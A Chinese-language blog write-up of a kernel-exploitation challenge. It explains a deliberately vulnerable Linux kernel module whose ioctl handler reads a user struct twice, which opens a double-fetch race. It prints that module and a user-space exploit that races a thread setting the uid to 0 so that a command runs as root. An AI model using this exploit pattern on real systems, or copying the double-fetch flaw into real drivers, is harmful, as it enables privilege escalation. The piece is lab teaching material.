说明
参考 https://xz.aliyun.com/t/9808
包含一个内核模块,和用户程序。由用户程序使用对应的内核模块实现从普通用户到root用户的权限升级。
代码见 https://github.com/JordyZomer/kernel_challenges/tree/main/episode1
diver目录为内核部分,client为用户程序。
流程如下:
内核模块
当一个设备在 Linux 中被注册,它会获取一些参数,最重要的是 fops (文件操作)。在字符设备中的 fops 看起来大概像这样:
static struct file_operations query_fops = {
.owner = THIS_MODULE,
.open = shell_open,
.release = shell_close,
.unlocked_ioctl = shell_ioctl
};
open
是你打开设备时被调用的函数,release
是在你关闭设备时被调用的函数,unlocked_ioctl
是在你向设备发起一个 IOCTL (输入/输出控制) 请求时被调用的函数。
在用户端使用open函数会运行对应内核的shell_open,close对应release,ioctl函数对应unlocked_ioctl。
```
static long shell_ioctl(struct file f, unsigned int cmd, unsigned long arg)
{
struct miscdevice misc = f->private_data;
struct device *dev = misc->this_device;
struct user_data udat;
kuid_t kernel_uid = current_uid();
memset(udat.cmd, 0, sizeof(udat.cmd));
if (raw_copy_from_user(&udat.uid, (void *)arg, sizeof(udat.uid)))//从用户态拷贝uid
return -EFAULT;
dev_info(dev, "CHECKING VALIDITY OF UID: %dn", udat.uid);
if (udat.uid == kernel_uid.val) {//比较当前uid和用户uid
int rc;
struct subprocess_info *sub_info;
char **argv;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};
dev_info(dev, "UID: %d EQUALS %dn", udat.uid, kernel_uid.val);
usleep_range(1000000, 1000001);//休眠
argv = kmalloc(sizeof(char *[4]), GFP_KERNEL);//申请空间用来存放地址
if (!argv)
return -ENOMEM;
memset(&udat, 0, sizeof(udat));
if (raw_copy_from_user(&udat, (void *)arg, sizeof(udat)))//第二次
return -EFAULT;
real_uid = udat.uid;
argv[0] = "/bin/sh";
argv[1] = "-c";
argv[2] = udat.cmd;
argv[3] = NULL;
dev_info(dev, "CMD = %sn", argv[2]);
sub_info = call_usermodehelper_setup(argv[0], argv, envp, GFP_KERNEL, init_func, free_argv, NULL);//设置命令执行的权限(设置为用户线程新修改的0,权限比较高)
if (sub_info == NULL) {
kfree(argv);
return -ENOMEM;
}
rc = call_usermodehelper_exec(sub_info, UMH_WAIT_PROC);
dev_info(dev, "RC = %dn", rc);
return rc;
}
return 0;
}
```
- current_uid函数获取到的uid为使用本模块的用户的uid。
用户
```
void change_uid_root(void s)
{
user_data s1 = s;
while (finish == 0)
s1->uid = 0;
}
int main(void)
{
pthread_t thread_one;
user_data udat;
int fd = open(IOCTL_DRIVER_NAME, O_RDWR);
if (fd == -1)
exit(EXIT_FAILURE);
memset(udat.cmd, 0, 100);
udat.uid = 1000;
strcpy(udat.cmd, "echo 'foo' > /tmp/hacker");
pthread_create(&thread_one, NULL, change_uid_root, &udat);//线程持续设置uid为0
for (int i = 0; i < 100; i++) {//运行100次内核模块
ioctl(fd, 0, &udat);
udat.uid = 1000;//普通用户的uid是1000,root用户的uid是0
}
finish = 1;
pthread_join(thread_one, NULL);
printf("finishedn");
close(fd);
return EXIT_SUCCESS;
}
```
程序运行流程如上图。
- root用户的uid为0
- 第一个非root用户的uid为1000
- 可以在/etc/passwd文件查看uid
相关推荐: Code Security Guide-Thinkphp3.2.3数据库内核漏洞(二)
0x01、ThinkPHP环境 ThinkPHP版本:Thinkphp3.2.3 full.zip phpstudy PHP 5.6 xdebug phpstorme 0x0a、ThinkPHP 3.2.3 updatexml注入(bind注入) 漏洞利用:在…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论